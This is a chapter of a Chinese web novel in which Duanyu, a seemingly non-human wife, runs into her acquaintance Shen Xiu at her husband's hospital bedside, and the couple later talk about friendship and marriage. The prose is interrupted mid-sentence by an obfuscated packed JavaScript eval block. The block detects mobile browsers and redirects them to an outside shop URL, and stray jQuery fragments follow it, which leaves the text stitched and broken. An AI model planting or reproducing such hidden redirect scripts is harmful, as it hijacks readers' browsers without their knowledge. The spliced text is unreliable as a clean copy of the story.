11. 好朋友

作品:《我老公有生理缺陷[gb]

    当今社会过江研究生多如鲫,作为亮点写在简历上,HR都不一定愿意买账。


    何其巧合,大娘口中读研的小儿子,怎么就偏偏是沈修?


    数月前端玉坐在餐厅里,和第一个相亲对象面对面,对方自称国企在岗月入过万,刚开始执着于用近期热映的爆米花片找共同话题,聊着聊着便大谈特谈国际局势。


    当时端玉跟不上如此跳跃的思维,而且她敏锐地察觉到,这人压根不在意自己说什么,他只像台传真机似的咔咔输出。


    因为不认识男人重点批判的对象,端玉渐渐连陪笑也陪不下去,以人有三急为由迅速开溜。


    一起身,厚重的桌布被身体刮上去,桌角有杯柠檬水“啪”地淌了一地板,柠檬片拍击不幸路过的客人,差点黏在棉服衣角上。


    路人正被服务员领向朋友所在的包间,后来他向坚持赔偿的端玉自我介绍,说他叫沈修。


    只赔钱似乎太敷衍,况且端玉工作之余不常出门,在外消费少,家中的银行卡也没绑定手机支付,自己兜里钱不多。


    她许诺年轻人,最迟三天内会买给他一件同款式的新衣服,后者反倒面露震惊,笑了两声,宽和地表示没关系。


    人情世故门道很深,人家说没关系,肯定不能真当无所谓。一番推让下来,沈修认输,在微信里通过端玉的好友申请并领了红包,但衣服的事终归不了了之。


    虽然互通联系方式,但两人毕竟不是朋友,聊天框里一方希望继续补偿,一方坚定拒绝,除此以外没什么好聊的。


    直到沈修临回学校时发来消息,询问端玉能不能请他一顿饭,借这个机会将那起小小的意外彻底翻篇。


    当然可以,端玉想。


    一顿午餐拉近萍水相逢的陌生人,沈修挑了家平价东北菜馆,套餐价格不破三位数。


    在他的指导下,端玉调出黄色APP里的二维码完成核销。


    沈修问她很少下馆子吗?她在脑内把这话翻译成标准普通话,点点头。


    上菜间隙,闲聊自然而然提到打翻的柠檬水,端玉已经学习到不必向所有人透露私事,因此含含糊糊交代自己和同桌的男人不熟。


    她回避的态度换来几句道歉,沈修很有眼力见地重开话头,评价桌上的锅包肉不仅量大还挺正宗。


    锅包肉味道凑合,假如没有外表那层壳会更好,端玉照例没吃几口,沈修让她打包剩下的菜。


    “还是你打包带走吧,”端玉脑筋一转,“这顿饭本来就是我请的。”


    “不用了,我看您都没怎么动口,这些带回家还能再顶一顿呢。”沈修笑笑。


    “……嗯,我不……你年纪还小呢,多吃点有利于长高。”


    不能落于下风。


    沈修稍微抬起眉毛:“我都过二十了,还往哪长高?那我们各自打包一半吧,这样行吗?”


    人类男性发育不是晚于女性吗?网上还有男人二十多岁狂长近十厘米的案例。端玉思索着应声,礼貌地叫住不远处的服务员。


    两个人走出店门,沈修随口说明天中午的飞机到学校,他看看认真倾听的端玉,突然道:“我以后能叫您姐吗?端玉姐?”


    “嗯?哦可以的。”


    端玉不由得打量比自己小六七岁的青年,她反刍沈修对她的称呼,补充说:“也不用说‘您’的,我又不是什么需要被尊敬的老前辈。”


    “好的,端玉姐。”沈修弯着眼睛,看上去是个没什么心机的年轻孩子。


    “姐,你怎么……”


    一晃又是假期,季节却变了,沈修只套了件假领卫衣,他两只手都没闲着,笔直的目光经过端玉,移向一旁同样疑惑的周岚生。


    “……没想到会在这遇见你,”端玉马上起立,挤出微笑,“这是我老公,他……因为受伤住院所以我在陪床。”


    “呃老公,这是我一个朋友……呃阿姨,那个,我和您儿子刚好认识,真不知道会这么巧。”


    她这番干巴巴的介绍一股脑吐出来,像后头有野兽撵着,沈修一瞬间似乎要茫然地皱眉,不到半秒就换上笑容,弯腰对朋友的丈夫打招呼:“确实够巧的,姐夫好啊。”


    “……你好。”周岚生礼仪性地回应。


    从来没听端玉谈起她的朋友,平时也不见她参与好友组织的聚餐等活动。


    应该惊奇于端玉居然和普通人类一样,也能通过社交获得友谊吗?她也需要人际交往吗?


    盯着不知哪里冒出来的年轻人,揣摩对方洋溢青春气息的眉眼,周岚生心里平白无故升起些微妙的别扭感,好似最后一块拼图的尺寸不合。


    仓促而意外的会面持续几个小时,大娘热情高涨,如同情报探查员一五一十打听完两人相识的过程。


    她顺便套出端玉的工作现状,一巴掌拍在儿子脊背上,警告他跟人家好好学学,将来端个稳定的饭碗,别成天不务正业颠来跑去,连盒高端点的营养品都买不起。


    “哎呀妈,我这是国产大品牌,您别听营销号和微信群胡吹什么高效保健品了,都是骗人的!”沈修闪避母亲的巴掌,作势要去卫生间。


    行过周岚生的病床,他像是冷不丁想到什么,对端玉和她丈夫发出友善的邀约。


    他说自己亲爹的伤腿痊愈在即,缘分难得,不如出院时两家聚一聚,他知道附近有家平台评分很高的餐馆。


    “爸,这样您愿意吗?”他母亲乐得热闹,沈修征求卧床老父亲的意见,后者竟没拒绝,闷闷“嗯”了一声。


    “我……”


    “可是那时候你已经回学校了吧?”在端玉打好腹稿前,周岚生平静道。


    自打沈修进屋,他处理上下级消息的效率略微降低,好在目前没有紧急委派的任务。


    “没事啊,我本来课少,这次回来就是打算陪我爸出院,只怕姐夫你们出院更早。”


    沈修爽朗地笑。


    作为他的朋友,还在他家人那混了个眼熟,吃顿饭不在话下。


    但这可不是一个人该拍板的事情。端玉观察丈夫毫无波澜的神色,瞧不出其中奥秘。


    她的踌躇写在眼睛里,被对方全盘接下。周岚生看看她,手指不自觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959108|193278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地在触控板平移,于是同意沈修的邀请。


    临近傍晚,一家三口去花园帮助患者做康复训练,病房内只留下两个人,从门到窗静悄悄的。


    同事们的群聊里刷屏同一张表情包,端玉不解其意,正要上网搜索最近又流行什么搞笑梗,她的丈夫开口:


    “我还没听说过你的朋友。”


    “啊,我确实没说过,他不算我非常要好的朋友。”


    既然不必维持人类身份,端玉大大方方问:“伴侣之间必须互通交际圈吗?这样一说,我和你的朋友们好像就在结婚前后见过,你和他们关系好吗?”


    “……”周岚生陷入沉思,“也不用,每个人都有自己的空间,我随便一说……我大概也没有非常要好的朋友。”


    即使在学生时代,人与人之间也不易建立彼此信任的纯洁关系,混杂金钱利益的情谊好比从内腐烂的水果,闻起来香气扑鼻,却无法下嘴。


    周岚生脱离家庭的照护选择独立打拼事业,也有这方面的考量,可惜家人带来的阴影过于浓重。


    相亲结束不久,他就清楚端玉的双亲为何急于推进结婚流程。


    如果不是靠着几十年前的老交情,他们很难抓住自家伸出的援手,端玉的作用更接近于筹码,交接完毕皆大欢喜。


    端玉知道吗?


    起初这一点难以确定,周岚生觉得她心里有底,又怀疑她被骗了,同时以为她也许根本不在乎。


    隐隐的忧虑挥之不去,他担心端玉要交给他一颗货真价实的心。


    不过今时不同往日,端玉有没有心脏要另论。


    “这样吗?那我就放心了。”


    端玉放松肩膀。


    和周岚生想象中不同,端玉没有深入思考过婚姻的意义,她只听许多人说女人必须要结婚,要有孩子,不然孤独终老痛苦一生。


    孤独也不意味着痛苦吧?但后代是不错,还没试过自己的卵能孵化出什么。


    同事中有好几个已婚多年,常常在办公室里念叨老公孩子,端玉有感于人类雄性负责生雌性负责育的分工结构,认为有其合理性。


    她如今结了婚,只差要孩子这一步。


    想到这里,她下意识端详起丈夫专注的侧脸,看见他紧致的皮肤和标致的骨骼轮廓。


    他脖颈处的动脉曾触动她的本体,鲜活而温暖,锁骨的走势也引人注目,像他的鼻梁那样激发破坏欲。


    病号服下覆盖的躯体想必伤痕未消,很奇异,他皮肤表面的淤青并不叫端玉反感。


    很久以前她误看过一部纪录片,当中充斥着人体各类伤情特写,好端端的肉被糟践得活像腐烂,端玉惋惜不已。


    可是青紫异色沾染白皙的肌肤,视觉效果倒别有一番意趣。


    “嗯……”端玉欲言又止,终于说,“老公,你现在还觉得痛吗?”


    “……怎么了?”周岚生抬眼。


    “我实在是缺乏经验,每次都把握不好力道。”


    端玉说:“我不想老让你受伤,这段时间我们要不多实验几次,再进入正题吧?”